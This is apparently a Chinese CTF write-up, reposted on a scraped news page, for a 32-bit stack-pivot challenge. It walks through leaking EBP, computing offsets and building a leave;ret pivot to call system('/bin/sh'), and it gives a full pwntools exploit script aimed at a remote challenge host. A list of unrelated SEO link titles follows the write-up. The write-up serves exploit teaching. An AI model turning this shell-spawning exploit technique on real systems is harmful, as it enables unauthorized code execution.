当前位置: 首页 > news >正文

网站备案照相百度链接收录提交入口

网站备案照相,百度链接收录提交入口,北京列表网,做家教一般在哪个网站1.下载 checksec 用IDA32打开 定位main函数 发现了个假的后门函数: 看看vul函数: 使用read读取 想到栈溢出 但是只有48个 只能覆盖EBP和返回地址 长度不够构造 所以使用栈迁移: 栈迁移需要用到leave ret 使用ROPgadget找地址: …

1.下载 checksec

用IDA32打开 定位main函数 

发现了个假的后门函数:

看看vul函数:

使用read读取 想到栈溢出 但是只有48个 只能覆盖EBP和返回地址 长度不够构造

所以使用栈迁移

栈迁移需要用到leave ret 使用ROPgadget找地址:

构造第一个payload 泄露EBP地址:

payload1 = b'a' * 0x27 + b'b'
p.send(payload1)
p.recvuntil(b'b')
ebp = u32(p.recv(4))
print(hex(ebp))

得到了EBP地址 需要调试以得出EBP地址离输入的距离:

下断点到vul函数 单步运行到函数快结尾位置查看栈情况:

看到EBP距离输入的位置有 0x78-0x50=0x28的距离 所以EBP距离输入这个字符串的地址为0x28+0x10=0x38

接下来构造payload2 目的是使得EIP指向system函数

payload2 = b'aaaa' + p32(sys_addr) + b'aaaa' + p32(stdin_addr + 0x10) + b'/bin/sh\x00'
#在system函数前需要留空位 目的是在leave执行时pop ebp这一步让esp正好指向system函数
#参数必须是地址 所以传递的不能直接是binsh字符串而是其地址 前面知道了输入地址 再+0x10就能得出binsh地址
payload2 = payload2.ljust(0x28, b'\x00')
#填充payload2使其到达ebp位置
payload2 += p32(stdin_addr) + p32(lea_ret_addr)

整体代码:

from pwn import *#p = process('./es_2')
p = remote("node5.buuoj.cn", 27573)
elf = ELF('./es_2')
sys_addr = elf.plt['system']
lea_ret_addr = 0x08048562#gdb.attach(p)
#pause()payload1 = b'a' * 0x27 + b'b'
p.sendafter(b"your name?", payload1)
p.recvuntil(b'b')
ebp = u32(p.recv(4))
print(hex(ebp))
stdin_addr = ebp - 0x38payload2 = b'aaaa' + p32(sys_addr) + b'aaaa' + p32(stdin_addr + 0x10) + b'/bin/sh\x00'
#在system函数前需要留空位 目的是在leave执行时pop ebp这一步让esp正好指向system函数
#参数必须是地址 所以传递的不能直接是binsh字符串而是其地址 前面知道了输入地址 再+0x10就能得出binsh地址
payload2 = payload2.ljust(0x28, b'\x00')
#填充payload2使其到达ebp位置
payload2 += p32(stdin_addr) + p32(lea_ret_addr)p.send(payload2)
p.interactive()

运行 得到flag:

http://www.yidumall.com/news/78345.html

相关文章:

  • 太原网站关键词排名做电商如何起步
  • 西安广告设计培训seo外链怎么做能看到效果
  • 用dreamware做网站无锡seo
  • 做网站可以用海外空间吗域名注册哪个平台比较好
  • 静态网站纯注册app拉新挣钱
  • 做茶网站百度店铺怎么入驻
  • 购买建立网站费怎么做会计凭证自己怎么做网页
  • 海口网站建设西点培训班一般要多少学费
  • b站入口2023已更新怎么投放广告是最有效的
  • 网站目录安全设置搜索引擎营销的概念
  • 镇江网站建设个免费的网页制作软件
  • 中小企业的网站建设方案网站快速排名服务商
  • 网站制作培训一般要多少钱重庆整站seo
  • 网站开发在线学习百度客服电话人工服务热线电话
  • 微信公众号推广营销seo的中文含义
  • 杭州做网站哪家公司好免费推广平台排行榜
  • 阿里云可以做网站吗推广软文是什么
  • 网站网页设计怎么报价深圳网络营销推广服务
  • 网站建设策划方案书论文企业站seo
  • 微网站开发哪家好郑州网站建设推广有限公司
  • 南宁市建设厅网站东莞seo建站推广费用
  • 怎么做可以直播的网站吗天津seo优化
  • 帝舵手表网站成品视频直播软件推荐哪个好用
  • 新类型 网站新闻发稿推广
  • 如何进行网站营销软文什么意思
  • 局域网内部如何做网站网上哪里可以免费打广告
  • 软件设计师通过率seo短期培训班
  • 网站建设公司怎么做的企业微信scrm
  • 一级a做爰片试看 免费网站html网页制作软件有哪些
  • 外包经验会影响后续找工作吗潍坊百度快速排名优化